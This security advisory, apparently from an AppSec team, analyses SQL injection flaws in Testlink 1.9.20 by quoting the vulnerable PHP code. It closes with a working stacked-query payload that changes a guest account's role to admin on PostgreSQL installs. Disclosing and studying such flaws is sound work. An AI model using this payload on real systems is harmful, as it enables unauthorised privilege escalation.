Testlink 1.9.20: Unrestricted file upload and SQL injection
Testlink is an open source, web based test management and test execution system written in PHP (a scripting language also known as an Hypertext Preprocessor). During a recent security audit, our AppSec team found an unrestricted file upload and two SQL Injection vulnerabilities. Below we provide an in-depth overview of the three identified flaws and ways they can be exploited.
Unrestricted file upload: Technical Analysis
Teslink offers the possibility to categorize test cases using keywords. These keywords can be exported and imported, and in this operation we found our first vulnerability.
SQL Injection: Technical Analysis
Testlink is vulnerable to SQL Injection, both in tree.class.php and testPlanUrgency.class.php.
Let’s look at each of the SQL injection in detail. The flow of the first one starts in dragdroptreenodes.php, the injection is done in the unsanitized parameter nodeid .
The following code snippet shows the entry point to the vulnerability:
function init_args()
{
$args=new stdClass();
$key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
foreach($key2loop as $key)
{
$args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
}
return $args;
}
The user input nodeid is retrieved from the $_REQUEST and stored in $args->nodeid . The change_parent method is then invoked:
$args=init_args();
$treeMgr = new tree($db);
switch($args->doAction)
{
case 'changeParent':
$treeMgr->change_parent($args->nodeid,$args->newparentid);
break;
The method definition is in tree.class.php
function change_parent($node_id, $parent_id)
{
$debugMsg='Class:' .__CLASS__ . ' - Method:' . __FUNCTION__ . ' :: ';
if( is_array($node_id) )
{
$id_list = implode(",",$node_id);
$where_clause = " WHERE id IN ($id_list) ";
}
else
{
$where_clause=" WHERE id = {$node_id}";
}
$sql = "/* $debugMsg */ UPDATE {$this->object_table} " .
" SET parent_id = " . $this->db->prepare_int($parent_id) . " {$where_clause}";
$result = $this->db->exec_query($sql);
return $result ? 1 : 0;
}
As you can see in the source code, the $node_id is concatenated in the WHERE of the SQL statement, enabling the manipulation of the SQL syntax.
The second SQL injection starts in planUrgency.php the injection is done in the unsanitized parameter urgency .
if (isset($_REQUEST['urgency']))
{
$args->urgency_tc = $_REQUEST['urgency'];
}
After retrieving the urgency value of $_REQUEST , the setTestUrgency method is called.
if(isset($argsObj->urgency_tc))
{
foreach ($argsObj->urgency_tc as $id => $urgency)
{
$tplanMgr->setTestUrgency($argsObj->tplan_id, $id, $urgency);
}
}
The definition of the setTestUrgency method can be found at testPlanUrgency.class.php.
public function setTestUrgency($testplan_id, $tc_id, $urgency)
{
$sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
" WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
" AND tcversion_id=" . $this->db->prepare_int($tc_id);
$result = $this->db->exec_query($sql);
return $result ? tl::OK : tl::ERROR;
}
Finally $urgency is directly embedded into a SQL query, allowing an attacker to control the SQL statement that will be executed in the database.
SQL Injection: Technical Analysis: Exploit
Teslink can be installed to use MySQL or PostgreSQL. If it is using MySQL, an attacker can list sensitive database information. But if it is using PostgreSQL, since it allows stacked queries, it permits any attacker to execute malicious queries on the server’s database.
PostgreSQL environment
This is the best scenario in an attacker’s perspective, because he can just execute any SQL query, only adding a ; followed by the query he wants to execute and finally a -- to comment on the rest of the query.
For example, we could make an account with a Guest role to become an Admin.
If we look at the script that populates the roles data in testlink_create_default_data.sql, we can see that the Role with id 8 is the Admin
# Roles -
INSERT INTO roles (id,description) VALUES (1, '<reserved system role 1>');
INSERT INTO roles (id,description) VALUES (2, '<reserved system role 2>');
INSERT INTO roles (id,description) VALUES (3, '<no rights>');
INSERT INTO roles (id,description) VALUES (4, 'test designer');
INSERT INTO roles (id,description) VALUES (5, 'guest');
INSERT INTO roles (id,description) VALUES (6, 'senior tester');
INSERT INTO roles (id,description) VALUES (7, 'tester');
INSERT INTO roles (id,description) VALUES (8, 'admin');
INSERT INTO roles (id,description) VALUES (9, 'leader');
Knowing this we can build the following payload to update the role_id of the user in the users table.
nodeid=47; update users set role_id='8' where login='user';
|